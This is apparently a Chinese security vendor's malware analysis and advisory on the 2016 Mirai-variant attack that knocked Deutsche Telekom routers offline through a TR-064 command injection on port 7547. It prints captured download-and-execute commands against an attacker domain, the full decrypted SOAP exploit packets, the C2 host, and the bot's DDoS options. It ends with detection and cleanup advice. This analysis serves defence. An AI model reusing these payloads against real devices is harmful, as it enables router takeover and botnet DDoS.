德国1127断网事件技术分析与防护方案

德国当地时间11月27日(周日)17:00左右, 德国电信遭遇网络攻击,超90万路由器无法联网 ,德国电信方面已经确认了此事。断网事故共持续数个小时,后于11月28日(周一)上午08:00,再次出现断网问题。除了联网服务外,德国电信用户还用这些路由器来连接电话和电视服务。

根据披露的信息显示,该次攻击疑似为“Mirai”变种导致,在相关感染的样本中发现了与Mirai相同的代码。但与Mirai不同的特征在于,Mirai在进行感染传播的过程中,会对目标的23和2323端口进行扫描,而这次的样本是针对目标的7547端口进行扫描。我们捕获到了与此次攻击类似的样本并对其进行详细分析。

是谁攻击了德国电信?

通过对该样本的网络行为进行简单的跟踪,发现IP:37.139.59.69,位于俄罗斯圣彼得堡地区。

影响范围

据媒体报道,

Mirai攻击历史

Mirai时间线跟踪如图1所示:

Mirai恶意软件变种传播机制

该样本通过扫描路由器的7547端口进行漏洞利用攻击,攻击者通过对7547端口发送特定命令的数据包,执行如下命令,开启防火墙80端口,使攻击者远程访问网络管理界面。

busybox iptables -I INPUT -p tcp –dport 80 -j ACCEPT

德国电信路由器漏洞分析

此次遭受攻击的主要是德国电信的路由器,致使用户无法登录互联网。造成该攻击的主要原因是端口配置不当。受攻击的路由器默认将7547端口分配给TR-069协议,该协议全称为“CPE WAN Management Protocol”,用于远程管理设备,ISP可以利用该协议对这些设备远程进行管理,因此7547端口就被暴露到了互联网上。

然而在Eir D1000 modem中,7547端口同时还被TR-064协议“LAN-Side CPE Configuration”使用。这个协议的目的是让ISP给路由器安装软件,但是并不是面向路由器的WAN端。当两个服务一起进行时,就产生了错误,这个漏洞最早是在2016年11月7日爆出来的。

在TR-064的说明文档中,我们发现TR-064服务允许在CPE上对NTP/SNTP时间客户端进行配置。

图2  说明文档

而TR-064在设置NTP时间服务时存在命令注入漏洞,攻击者通过对7547端口发送特定命令的数据包,执行的命令为“busybox iptables -I INPUT -p tcp –dport 80 -j ACCEPT”,开启防火墙80端口,使攻击者远程访问网络管理界面,主要代码为:

由于D1000的默认登录密码是默认Wi-Fi 密码,进一步获取Wi-Fi 密码,从而直接下载远程样本,完成最终的攻击行为:

图4  获取密码

图5  攻击代码

其它捕获的相关攻击类型如下:

cd /tmp;wget hxxp://l.ocalhost.host/x.sh;chmod 777 x.sh;./x.sh< NewNTPServer1>`cd /tmp;tftp -l 3 -r 1 -g l.ocalhost.host;chmod 777 3;./3`</NewNTPServer1>< NewNTPServer1>`cd /tmp;wget http://l.ocalhost.host/1;chmod 777 1;./1`</NewNTPServer1> cd /tmp;wget hxxp://l.ocalhost.host/1;chmod 777 1;./1

从这些攻击命令我们可以看到,攻击者主要的目的是要让目标主机从特定域名下载最终的恶意程序并执行,从而完成整个的攻击工作。我们注意到域名为l.ocalhost.host,并不是localhost,该域名的设置也可以一定程度上起到迷惑用户的作用。

Mirai变种样本分析

文件信息

样本执行流程概要

图7  攻击流程概要

Mirai变种恶意软件的功能概述

  • DDoS攻击 :通过控制当前路由器,执行DDoS命令,提供的DDoS攻击方式有:UDP、VSE、DNS、SYN等。
  • 漏洞利用 :该样本通过漏洞攻击的方式进入到感染目标机器中,利用了TR-064、TR-069 协议漏洞进行攻击。
  • 网络行为 :连多次连接假IP地址;连接黑客控制的服务器:IP: 37.139.59.69, HOST: securityupdates.us;需要扫描网络时,会发送大量请求数据包

详细分析

首先样本对信号的处理方式进行设置:

图8  设置信号处理方式

对IP地址为8.8.8.8,端口号为53的地址进行连接,调用函数getsockname获得当前主机的IP地址和端口号

图9  获取当前主机IP及端口

将函数的地址存储在结构体中

图10  存储函数地址

上图中各个函数的功能列举如下:

自定义函数名  功能

  • ensure_single_instance_F2C8  用来确定只有一个实例在运行
  • table_unlock_val_12D28  从table中取出索引id对应的值并解密
  • table_retrieve_val_12C18  从table中取出索引id对应的值。
  • table_init_12DFC  对table表数组进行初始化
  • table_lock_val_12C58  对table中索引id对应的值进行加密
  • util_memcpy_13884  数据拷贝函数
  • util_strcmp_13BE8  数据比较函数
  • killer_init_EB00  关闭7547端口、关闭指定端口相关的进程
  • anti_gdb_entry_F2A4  设置解析cnc服务器IP地址函数的指针

Mirai变种恶意软件加解密算法

本文中涉及的部分数据结构、加密算法如下图所示:

图11  加密解密代码

之后调用table_init_12DFC函数进行字符串的初始化,主要是用于后续程序使用的关键字符串,其以加密字符串的形式进行存储,现解密后与Mirai原版代码中的宏相对应并进行部分列举:(表格中的数据顺序与样本中定义顺序相同,与原版代码有出入)

宏   解密后字符串

  • TABLE_CNC_DOMAIN  securityupdates.us
  • TABLE_KILLER_PROC  /proc/
  • TABLE_KILLER_EXE  /exe
  • TABLE_KILLER_DELETED  (deleted)
  • TABLE_KILLER_FD  /fd
  • TABLE_KILLER_ANIME  .anime
  • TABLE_KILLER_STATUS  /status
  • TABLE_SCAN_SHELL  shell
  • TABLE_SCAN_SYSTEM  system
  • TABLE_SCAN_SH  sh
  • TABLE_SCAN_KILL_9  /bin/busybox kill -9
  • TABLE_SCAN_PS  /bin/busybox ps
  • TABLE_SCAN_NCORRECT  ncorrect
  • TABLE_ATK_KEEP_ALIVE  Connection: keep-alive
  • TABLE_ATK_SET_COOKIE  setCookie
  • TABLE_MEM_QBOT  REPORT %s:%s
  • TABLE_MEM_QBOT2  HTTPFLOOD
  • TABLE_MEM_QBOT3  LOLNOGTFO
  • TABLE_SCAN_QUERY  /bin/busybox MIRAI
  • TABLE_SCAN_PS  /bin/busybox ps
  • TABLE_SCAN_NCORRECT  ncorrect

接着绑定80端口并连接一个假的IP地址,达到迷惑目的:

图12  请求假域名

之后隐藏自身:

图13  隐藏自身

上述行为完成后对攻击流程、清理流程、扫描流程进行初始化:

攻击流程的初始化

设置attack_function列表,将宏与函数地址绑定:

图14  设置attack_function列表

对应的攻击方式列举如下:

类型   说明

  • ATK_VEC_UDP  Straight up UDP flood
  • ATK_VEC_VSE  Valve Source Engine query flood
  • ATK_VEC_DNS  DNS water torture
  • ATK_VEC_SYN  ACK flood
  • ATK_VEC_STOMP  ACK flood to bypass mitigation devices
  • ATK_VEC_GREIP  GRE IP flood
  • ATK_VEC_GREETH  GRE Ethernet flood
  • ATK_VEC_HTTP  HTTP layer 7 flood

清理流程

通过busybox执行如下命令关闭7547端口,防止其他相似样本利用漏洞对该设备进行攻击。通过查询端口31517相关的进程,将其终止。之后,绑定31517端口,进行监听。

iptables –A INPUT –p –tcp –destination-port 7547 –j DROP

图15  关闭31517端口

扫描流程初始化

首先设置IP头内容,构造数据包头部:

图16  构造数据包头部

增加弱口令:

图17  增加弱口令

随机生成IP地址:

图18  获取随机IP地址

通过比较过滤一下IP地址,去除FBI等敏感IP,列举如下:

IP地址  说明

  • 127.0.0.0/8    Loopback
  • 0.0.0.0/8    Invalid address space
  • 3.0.0.0/8  General Electric Company
  • 15.0.0.0/7  Hewlett-Packard Company
  • 56.0.0.0/8  US Postal Service
  • 10.0.0.0/8   Internal network
  • 192.168.0.0/16  Internal network
  • 172.16.0.0/14  Internal network
  • 100.64.0.0/10  IANA NAT reserved
  • 169.254.0.0/16  IANA NAT reserved
  • 198.18.0.0/15  IANA Special use
  • 224.*.*.*+  Multicast

接下来对随机生成的IP地址进行扫描,向端口31517发送数据包,用以确认是否被感染,如果未被感染,则向目标主机发送包含攻击代码的数据包:

图19  发送漏洞利用代码

这两个数据包的内容被加密存放,解密后内容如下:

第一段长度为746的数据包内容:

Host: 127.0.0.1:7547 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 534

<?xml version=”1.0″?><SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”> <SOAP-ENV:Body>  <u:SetNTPServers xmlns:u=”urn:dslforum-org:service:Time:1″>   <NewNTPServer1>`cd /tmp;wget http://p.ocalhost.host/x.sh;chmod 777 x.sh;./x.sh`</NewNTPServer1>   <NewNTPServer2></NewNTPServer2>   <NewNTPServer3></NewNTPServer3>   <NewNTPServer4></NewNTPServer4>   <NewNTPServer5></NewNTPServer5>  </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>

第二段长度为756的数据包内容:

POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 544

<?xml version=”1.0″?><SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”> <SOAP-ENV:Body>  <u:SetNTPServers xmlns:u=”urn:dslforum-org:service:Time:1″>   <NewNTPServer1>`cd /tmp;tftp -l y.sh -r tftp.sh -g p.ocalhost.host;chmod 777 y.sh;./y.sh`</NewNTPServer1>   <NewNTPServer2></NewNTPServer2>   <NewNTPServer3></NewNTPServer3>   <NewNTPServer4></NewNTPServer4>   <NewNTPServer5></NewNTPServer5>  </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>

完成以上三个流程之后,回到主流程中。首先查询内置的服务器列表中的IP地址和端口号,尝试进行连接,连接成功则将IP和端口返回:

图20  解析IP地址

构建DNS请求头数据:

图21  构造DNS请求头

处理端口号:

图22  处理cnc服务器端口

程序向cnc服务器发起连接:

图23  连接服务器

查看是否有另一个实例存在,如果存在,就停止自己:

图24  检查其他实例

程序发送上线包,数据包中的内容是\x00\x00\x00\x01:

图25  发送上线包

接受服务器返回的数据,如果失败就关闭连接:

图26  接受服务器数据

接着继续接收数据,如果有指令数据到达,就对数据包进行解析:

图27  接收指令数据

解析数据包,前6个字节分别代表了持续时间,攻击方式,目标数量(最大255个)

图28  解析数据包(1)

后21个字节是包含攻击目标信息的结构体,因对齐补零成为24字节,具体格式如下:

图29  解析数据包(2)

解析所有攻击目标:

图30  解析攻击目标

接着解析攻击选项内容:

图31  解析攻击选项

现将攻击选项整理如下:

自定义功能宏  说明

  • ATK_OPT_PAYLOAD_SIZE  What should the size of the packet data be
  • ATK_OPT_PAYLOAD_RAND  Should we randomize the packet data contents
  • ATK_OPT_IP_TOS  tos field in IP header
  • ATK_OPT_IP_IDENT  ident field in IP header
  • ATK_OPT_IP_TTL  ttl field in IP header
  • ATK_OPT_IP_DF  Dont-Fragment bit set
  • ATK_OPT_SPORT  Should we force a source port? (0 = random)
  • ATK_OPT_DPORT  Should we force a dest port? (0 = random)
  • ATK_OPT_DOMAIN  Domain name for DNS attack
  • ATK_OPT_DNS_HDR_ID  Domain name header ID
  • ATK_OPT_URG  TCP URG header flag
  • ATK_OPT_ACK  TCP ACK header flag
  • ATK_OPT_PSH  TCP PSH header flag
  • ATK_OPT_RST  TCP RST header flag
  • ATK_OPT_SYN  TCP SYN header flag
  • ATK_OPT_FIN  TCP FIN header flag
  • ATK_OPT_SEQRND Should we force the sequence number? (TCP only)
  • ATK_OPT_ACKRND  Should we force the ack number? (TCP only)
  • ATK_OPT_GRE_CONSTIP  Should the encapsulated destination address be the same as the target?
  • ATK_OPT_METHOD  Method for HTTP flood
  • ATK_OPT_POST_DATA  Any data to be posted with HTTP flood
  • ATK_OPT_PATH  The path for the HTTP flood
  • ATK_OPT_HTTPS  Is this URL SSL/HTTPS
  • ATK_OPT_CONNS  Number of sockets to use
  • ATK_OPT_SOURCE  Source IP

针对不同攻击方式调用不同的函数进行攻击:

图32  选择攻击函数

Mirai恶意软件启动方式

攻击者通过对7547端口发送特定命令的数据包,执行命令“busybox iptables -I INPUT -p tcp –dport 80 -j ACCEPT”,开启防火墙80端口,使攻击者远程访问网络管理界面,植入攻击代码。

Mirai恶意软件分析总结

此次攻击的原理是面向WAN的TR-069协议对外暴露了7547端口,而面向LAN的TR-064协议也刚好使用该端口,于是导致攻击者可以向7547号端口发送TR-064的控制命令,使目标到指定地址下载恶意文件并执行。恶意文件执行之后会关闭7547号端口,阻止ISP提供商通过该端口连接到设备对设备进行升级。目前黑客控制设备的主要目的是进行DDoS攻击,会占用大量带宽,影响设备的正常运转。

Mirai恶意软件防护方案

检测方法

  • 查看当前路由器是否开放了31517端口。
  • 查看当前路由器7547端口是否被关闭。

清除方法

  • 关闭设备并等待15分钟以上,再次开启设备。

绿盟科技检测服务

  • 绿盟科技工程师前往客户现场检测。
  • 绿盟科技在线云检测,登陆绿盟云,申请威胁分析中心试用。链接地址如下:

https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?service_id=1018

绿盟科技木马专杀解决方案

  • 短期服务:绿盟科技工程师现场木马后门清理服务(人工服务+NIPS+TAC)。确保第一时间消除网络内相关风险点,控制事件影响范围,提供事件分析报告。
  • 中期服务:提供3-6个月的风险监控与巡检服务(NIPS+TAC+人工服务)。根除风险,确保事件不复发。
  • 长期服务:基于行业业务风险解决方案(威胁情报+攻击溯源+专业安全服务)

 

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技

北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。

北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。

如果您需要了解更多内容,可以
加入QQ群:486207500、570982169
直接询问:010-68438880-8669

Spread the word. Share this post!

Meet The Author

Leave Comment